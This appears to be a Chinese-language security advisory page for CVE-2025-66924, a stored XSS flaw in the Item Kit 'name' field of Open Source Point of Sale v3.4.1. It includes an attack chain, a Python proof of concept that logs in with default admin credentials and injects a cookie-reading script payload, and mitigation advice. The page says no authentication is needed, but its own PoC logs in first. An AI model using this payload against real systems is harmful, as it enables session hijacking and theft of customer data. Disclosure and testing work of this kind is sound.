IPBUF安全漏洞报告
English
CVE-2025-66924 CVSS 6.1 中危

CVE-2025-66924 Open Source Point of Sale XSS漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-66924
漏洞类型
XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Open Source Point of Sale v3.4.1

相关标签

CVE-2025-66924XSS跨站脚本攻击Open Source Point of Sale存储型XSSWeb应用安全

漏洞概述

CVE-2025-66924是Open Source Point of Sale(开源销售点系统)v3.4.1版本中的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于系统的Create/Update Item Kit(s)功能模块中,攻击者可以通过"name"参数向系统中注入恶意的JavaScript代码或HTML标记。由于该参数在处理用户输入时未进行充分的输入验证和输出编码,攻击者注入的恶意脚本会被永久存储在系统数据库中。当其他用户(如管理员或收银员)访问相关页面时,这些恶意脚本会在其浏览器上下文中执行,从而实现会话劫持、敏感信息窃取、钓鱼攻击等恶意行为。该漏洞的CVSS评分为6.1,属于中等严重程度,攻击复杂度低,无需认证即可利用,但需要用户交互才能触发。攻击者可以利用此漏洞获取管理员权限、窃取客户数据或在系统中植入恶意代码,对使用该系统的企业造成严重的安全威胁。

技术细节

该XSS漏洞位于Open Source Point of Sale的Item Kit管理功能中。当用户创建或更新Item Kit时,系统通过"name"参数接收用户输入,但未对输入内容进行严格的HTML标签过滤和JavaScript事件处理器清理。攻击者可以在name字段中构造包含<script>标签、事件处理器(如onerror、onload)或javascript:伪协议的特殊字符串。攻击流程如下:1)攻击者通过API或表单提交恶意Payload,如:<script>alert(document.cookie)</script>;2)系统将该name字段值存储到数据库中,未进行任何消毒处理;3)当管理员在Item Kit列表或详情页面查看数据时,浏览器会解析并执行存储的恶意脚本;4)攻击者可通过窃取的会话Cookie冒充管理员身份执行敏感操作。漏洞的根本原因在于应用程序缺少输入验证(白名单过滤)和输出编码(HTML实体化)机制。该漏洞影响系统的机密性和完整性,可导致敏感数据泄露和业务逻辑被篡改。

攻击链分析

STEP 1
步骤1
攻击者访问Open Source Point of Sale系统,找到Item Kit管理功能模块
STEP 2
步骤2
攻击者构造包含XSS Payload的恶意请求,在name参数中注入<script>alert(document.cookie)</script>或类似恶意脚本
STEP 3
步骤3
系统未对name参数进行输入验证和输出编码,将恶意Payload存储到数据库
STEP 4
步骤4
管理员或普通用户访问Item Kit列表或详情页面时,浏览器解析并执行存储的恶意脚本
STEP 5
步骤5
攻击者通过XSS成功窃取用户会话Cookie、劫持会话或进行钓鱼攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re # CVE-2025-66924 XSS PoC for Open Source Point of Sale v3.4.1 # Target: Open Source Point of Sale # Module: Create/Update Item Kit(s) # Parameter: name TARGET_URL = "http://target.com/opensourcepos" USERNAME = "admin" PASSWORD = "admin" session = requests.Session() # Step 1: Login to get authenticated session login_url = f"{TARGET_URL}/login" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data) # Check if login successful if "login" not in response.url.lower(): print("[+] Login successful") else: print("[-] Login failed") exit() # Step 2: Create malicious Item Kit with XSS payload in name parameter create_kit_url = f"{TARGET_URL}/item_kits/save" xss_payload = '<script>alert(document.cookie)</script>' kit_data = { "name": xss_payload, "description": "Test Kit", "category_id": 1, "unit_price": 10.00 } response = session.post(create_kit_url, data=kit_data) if response.status_code == 200: print(f"[+] XSS payload submitted: {xss_payload}") print("[+] Payload will execute when admin views Item Kit list") else: print("[-] Failed to submit payload") # Alternative: Update existing Item Kit update_url = f"{TARGET_URL}/item_kits/save/1" response = session.post(update_url, data=kit_data) print("[+] Item Kit updated with XSS payload")

影响范围

Open Source Point of Sale v3.4.1

防御指南

临时缓解措施
在应用层对用户输入进行严格的输入验证和输出编码,对name等参数使用HTML实体编码函数处理特殊字符;同时配置Web应用防火墙(WAF)规则检测和拦截XSS攻击特征;临时禁用Item Kit创建功能直到官方补丁发布。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表